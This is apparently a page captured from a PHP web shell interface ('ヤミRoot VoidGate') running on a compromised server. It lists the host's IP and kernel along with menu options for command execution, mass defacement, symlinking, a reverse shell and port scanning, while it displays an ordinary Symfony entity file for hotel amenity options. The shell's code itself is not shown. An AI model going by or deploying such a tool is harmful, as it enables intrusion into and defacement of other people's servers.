ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: BuildingOption.php
<?php namespace App\Entity; use App\Repository\BuildingOptionRepository; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** @ApiResource() * @ORM\Entity(repositoryClass=BuildingOptionRepository::class) */ class BuildingOption { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="integer", nullable=true) */ private $notiriety; /** * @ORM\Column(type="boolean", nullable=true) */ private $parking; /** * @ORM\Column(type="boolean", nullable=true) */ private $pool; /** * @ORM\Column(type="boolean", nullable=true) */ private $miniBar; /** * @ORM\Column(type="boolean", nullable=true) */ private $conferenceRoom; /** * @ORM\Column(type="boolean", nullable=true) */ private $restaurant; public function getId(): ?int { return $this->id; } public function getNotiriety(): ?int { return $this->notiriety; } public function setNotiriety(?int $notiriety): self { $this->notiriety = $notiriety; return $this; } public function getParking(): ?bool { return $this->parking; } public function setParking(?bool $parking): self { $this->parking = $parking; return $this; } public function getPool(): ?bool { return $this->pool; } public function setPool(?bool $pool): self { $this->pool = $pool; return $this; } public function getMiniBar(): ?bool { return $this->miniBar; } public function setMiniBar(?bool $miniBar): self { $this->miniBar = $miniBar; return $this; } public function getConferenceRoom(): ?bool { return $this->conferenceRoom; } public function setConferenceRoom(?bool $conferenceRoom): self { $this->conferenceRoom = $conferenceRoom; return $this; } public function getRestaurant(): ?bool { return $this->restaurant; } public function setRestaurant(?bool $restaurant): self { $this->restaurant = $restaurant; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")Parking: ". $this->getState($this->parking).", Bar: ".$this->getState($this->miniBar).", Restaurant: ".$this->getState($this->restaurant).", Conference: ".$this->getState($this->conferenceRoom).", Pool: ".$this->getState($this->pool); } public function getState($boolean){ if($boolean){ return "Yes"; }else{ return "No"; } } }
Coded With 💗 by
0x6ick